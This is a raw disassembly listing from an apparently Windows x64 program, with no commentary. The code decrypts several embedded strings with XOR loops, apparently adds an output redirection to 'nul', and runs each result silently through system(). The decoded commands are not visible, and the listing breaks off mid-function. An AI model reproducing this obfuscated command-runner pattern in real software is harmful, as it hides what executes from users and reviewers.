movabs rax, 0xebfb36d3369bbebb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4df8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e00], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e08], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e10], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e18], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e20], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e28], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e30], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x4dc0]
vmovdqu ymm0, ymmword [rbp + 0x4e00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4dc0]
vmovdqa ymmword [rbp + 0x4dc0], ymm1
mov qword [rbp + 0x4e38], rax
vmovdqu ymm0, ymmword [rbp + 0x4e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4de0]
vmovdqa ymmword [rbp + 0x4de0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0xf
lea rcx, [rbp + 0x30c0]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3ddb]
xor eax, eax
lea rcx, [rbp + 0x49]
mov byte [rbp + 0x49], al
call fcn.14006ca90
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140050a31
mov r8d, esi
cmp r15d, 2
jl 0x1400509f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050900
cmp r8d, 0x32
jge 0x140050a31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140050a00
mov r8, rbx
lea rcx, [rbp + 0x30e0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3100]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3100]
call fcn.14002b440
lea rcx, [rbp + 0x30e0]
call fcn.14002b440
lea rcx, [rbp + 0x30c0]
call fcn.14002b440
mov edx, 0xf
lea rcx, [rbp + 0x3120]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3ce4]
xor eax, eax
lea rcx, [rbp + 0x4a]
mov byte [rbp + 0x4a], al
call fcn.14006cac0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140050c11
mov r8d, esi
cmp r15d, 2
jl 0x140050bd3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050ae0
cmp r8d, 0x31
jge 0x140050c11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140050be0
mov r8, rbx
lea rcx, [rbp + 0x3140]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3160]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3160]
call fcn.14002b440
lea rcx, [rbp + 0x3140]
call fcn.14002b440
lea rcx, [rbp + 0x3120]
call fcn.14002b440
xor eax, eax
lea rdx, [rbp + 0x471c]
lea rcx, [rbp + 0x4b]
mov byte [rbp + 0x4b], al
call fcn.14006caf0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140050de1
mov r8d, esi
cmp r15d, 2
jl 0x140050da3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140050cb0
cmp r8d, 0x3a
jge 0x140050de1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140050db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0xf
lea rcx, [rbp + 0x3180]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3d15]
xor eax, eax
lea rcx, [rbp + 0x4c]
mov byte [rbp + 0x4c], al
call fcn.14006cb30
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140050f71
mov r8d, esi
cmp r15d, 2
jl 0x140050f33
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050e40
cmp r8d, 0x31
jge 0x140050f71
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140050f40
mov r8, rbx
lea rcx, [rbp + 0x31a0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x31c0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x31c0]
call fcn.14002b440
lea rcx, [rbp + 0x31a0]
call fcn.14002b440
lea rcx, [rbp + 0x3180]
call fcn.14002b440
mov edx, 0xf
lea rcx, [rbp + 0x31e0]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3d46]
xor eax, eax
lea rcx, [rbp + 0x4d]
mov byte [rbp + 0x4d], al
call fcn.14006cb60
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140051151
mov r8d, esi
cmp r15d, 2
jl 0x140051113
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051020
cmp r8d, 0x31
jge 0x140051151
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140051120
mov r8, rbx
lea rcx, [rbp + 0x3200]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3220]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3220]
call fcn.14002b440
lea rcx, [rbp + 0x3200]
call fcn.14002b440
lea rcx, [rbp + 0x31e0]
call fcn.14002b440
xor eax, eax
lea rdx, [rbp + 0x4756]
lea rcx, [rbp + 0x4e]
mov byte [rbp + 0x4e], al
call fcn.14006cb90
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140051321
mov r8d, esi
cmp r15d, 2
jl 0x1400512e3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400511f0
cmp r8d, 0x3a
jge 0x140051321
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x1400512f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4790]
lea rcx, [rbp + 0x4f]
mov byte [rbp + 0x4f], al
call fcn.14006cbd0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x1400514a1
mov r8d, esi
cmp r15d, 2
jl 0x140051463
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140051370
cmp r8d, 0x3a
jge 0x1400514a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140051470
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x47ca]
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x50], al
call fcn.14006cc10
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140051621
mov r8d, esi
cmp r15d, 2
jl 0x1400515e3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400514f0
cmp r8d, 0x3b
jge 0x140051621
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x1400515f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0xf
lea rcx, [rbp + 0x3240]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3e0d]
xor eax, eax
lea rcx, [rbp + 0x51]
mov byte [rbp + 0x51], al
call fcn.14006cc60
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400517b1
mov r8d, esi
cmp r15d, 2
jl 0x140051773
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051680
cmp r8d, 0x32
jge 0x1400517b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140051780
mov r8, rbx
lea rcx, [rbp + 0x3260]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3280]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3280]
call fcn.14002b440
lea rcx, [rbp + 0x3260]
call fcn.14002b440
lea rcx, [rbp + 0x3240]
call fcn.14002b440
mov edx, 0xf
lea rcx, [rbp + 0x32a0]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3e3f]
xor eax, eax
lea rcx, [rbp + 0x52]
mov byte [rbp + 0x52], al
call fcn.14006cc90
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140051991
mov r8d, esi
cmp r15d, 2
jl 0x140051953
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051860
cmp r8d, 0x32
jge 0x140051991
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140051960
mov r8, rbx
lea rcx, [rbp + 0x32c0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x32e0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x32e0]
call fcn.14002b440
lea rcx, [rbp + 0x32c0]
call fcn.14002b440
lea rcx, [rbp + 0x32a0]
call fcn.14002b440
mov edx, 0xf
lea rcx, [rbp + 0x3300]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x3e71]
xor eax, eax
lea rcx, [rbp + 0x53]
mov byte [rbp + 0x53], al
call fcn.14006ccc0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140051b71
mov r8d, esi
cmp r15d, 2
jl 0x140051b33
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
